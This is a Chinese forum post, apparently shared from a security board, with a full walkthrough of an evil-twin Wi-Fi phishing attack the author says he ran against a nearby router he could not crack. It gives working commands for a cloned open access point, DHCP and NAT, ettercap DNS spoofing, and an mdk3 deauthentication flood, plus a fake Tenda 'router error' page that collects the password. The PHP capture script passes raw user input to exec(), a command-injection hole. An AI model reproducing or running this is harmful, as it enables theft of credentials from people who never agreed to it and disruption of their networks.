现在破解Wlan密码的方式貌似就aircrack-ng和reaver两种常规方式,但是,如果我们碰到一个路由器,不支持pin,密码跑了20G字典都没出该怎么办?也许很多人会放弃.. 但是我碰到了这种情况.. 我在学校附近租房子有个信号最强的.. 密码也很强.. 跑了30G字典都没出.. 于是就到处找思路,就有了这篇文章...
简要介绍一下攻击方法:在目标AP有客户端连接时,我们持续攻击对方的AP,使其一直连不上去,这时,我们伪造一个和目标AP SSID一样的开放的AP,普通人发现自己的wifi上不了,下意识的肯定会点进我们的wifi,然后我们搭建好服务器,采用DNS欺骗,将对方的所有的HTTP请求redirect到我们本地搭建的网页,网页内容大致是你的路由器出错了,请输入密码恢复之类的,这个网页就是一个form表单,我们将他填写的内容用php保存,写入我们本地文件,就这样get了...看起来很简单.. 我研究了半个多月.. 唉。。 还是太笨了.. 这个思路是我以前在网上无意中瞥到的,当时没留心... 现在到了外面就想起来了... 以下全是本人实践操作..
攻击平台:Kali Linux
攻击者使用硬件工具:牛掰的无线网卡一块,装有Kali Linux的电脑一台
攻击者使用软件:1.airodump-ng 2.airbase-ng 3.lighttpd 4.udhcpd 5.ettercap 6.mdk3 7.php-cgi
安装好所有软件后配置一下lighttpd,开启他的php支持
[Bash shell] 纯文本查看 复制代码 lighttpd-enable-mod fastcgi-php
准备好我们的伪造页面
[HTML] 纯文本查看 复制代码 <html>
<head>
<meta charset="UTF-8">
<title>Tenda</title>
</head>
<body>
<div align="center">
<font size="6"><b>路由器出错了,请输入密码5分钟后重启您的路由器以恢复。</b></font>
</div>
<br>
<br>
<br>
<div align="center">
<form action="passwd.php" method="">
<input type="password" name="passwd" value="" />
<input type="submit" name="" value="确认重启" />
</form>
</div>
<br>
<br>
<br>
<div align="center">深圳市吉祥腾达科技有限公司 / © 2014 版权所有</div>
</body>
</html>
因为这里的目标是Tenda路由器,于是我就在最后面加了一行
效果图:
提交到passwd.php
[PHP] 纯文本查看 复制代码 <?php
header("Content-type: text/html; charset=utf-8");
$com = "touch password && echo $_GET[passwd] >> password";
exec($com);
echo "正在修复设置,请您于五分钟后手动重启路由器!";
?>
这段php代码的意思就是获取字段passwd后面的值然后写入文件password
要想写入得给这个目录写的权限,lighttpd默认使用的主页文件夹是/var/www/
[Bash shell] 纯文本查看 复制代码 chmod 777 /var/www/ -R
然后来测试试试:
[Bash shell] 纯文本查看 复制代码 service lighttpd restart
访问127.0.0.1看看
输入123456后点击提交
URL中已经出现了用户输入的内容,看看他是否写入的password文件内
[Bash shell] 纯文本查看 复制代码 cat /var/www/password
成功,一切正常,接下来是伪造AP,然后搭建DHCP服务器,让用户能正常连接WiFi
先开启无线网卡的monitor模式,airbase-ng使用mon0这种虚拟接口貌似不行,于是开启wlan0的monitor模式,mon0用来执行mdk3的攻击,当然,别忘了伪造MAC地址
[Bash shell] 纯文本查看 复制代码 airmon-ng start wlan0
ifconfig mon0 down
ifconfig wlan0 down
macchanger -r mon0 && macchanger -r wlan0
iwconfig wlan0 mode monitor
ifconfig wlan0 up
ifconfig mon0 up
开始伪造AP
[Bash shell] 纯文本查看 复制代码 airbase-ng -e test -c 1 wlan0
出来了,然后是设置DHCP服务器和IP转发,不然用户无法连接
airbase-ng运行后会出来一个接口at0
我们将at0设置为网关,但是注意,不能与eth0在同一网段
eth0的IP地址是:192.168.18.128
我们将at0设置为192.168.16.1,at0默认是不启用的状态,需要先up
[Bash shell] 纯文本查看 复制代码 ifconfig at0 up
ifconfig at0 192.168.16.1 netmask 255.255.255.0
route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.16.1
前面两句代码不多说,最后面的意思是来自192.168.X.X的连接都定向到192.168.16.1去
at0设置完了,接下来设置dhcp服务
[Bash shell] 纯文本查看 复制代码 vim /etc/udhcpd.conf
里面一大堆参数,我们只需要修改
start 192.168.16.20
end 192.168.16.200
interface at0
opt route 192.168.16.1
接下来启动udhcpd
[Bash shell] 纯文本查看 复制代码 udhcpd -f /etc/udhcpd.conf
完成后效果图
接下来进行ip转发
[Bash shell] 纯文本查看 复制代码 echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING --out-interface eth0 -j MASQUERADE
注意,在运行ettercap之后 /proc/sys/net/ipv4/ip_forward的值会再度变为0,需要先启动ettercap然后在将值设为1
开启ettercap之前先修改etter.dns
添加A纪录,让所有的HTTP请求redirect到我们的web
[Bash shell] 纯文本查看 复制代码 vim /etc/ettercap/etter.dns
*.com A 192.168.18.128
*.cn A 192.168.18.128
*.net A 192.168.18.128
*.com.cn A 192.168.18.128
这里采用了正则表达式,*是通配符,就是任何的意思,我就不多加阐述了
然后
[Bash shell] 纯文本查看 复制代码 ettercap -T -q -i at0 -M arp:remote -P dns_spoof // //
接下来开始手机目标AP信息,使目标掉线,使用airodump-ng
[Bash shell] 纯文本查看 复制代码 airodump-ng mon0
获取到目标AP的MAC地址之后
[Bash shell] 纯文本查看 复制代码 nano attack.txt
写入目标AP的MAC地址
使用MDK3的解除认证攻击模式,就是让目标一直断网,连不上
[Bash shell] 纯文本查看 复制代码 mdk3 mon0 d -b attack.txt -s 999
好了,接下来就等鱼儿上钩就行了,
[Bash shell] 纯文本查看 复制代码 cat /var/www/password
写到后面我都快吐了.. 我自己都忘了下一步该干什么.. 有错误欢迎指出,帮助我更好的进步.... 语言可能有点啰嗦.. 大家将就一下... 本文我是在90sec首发的,不过我觉着08sec的论坛环境氛围也很不错,特分享,如发现错误希望指出!谢谢! |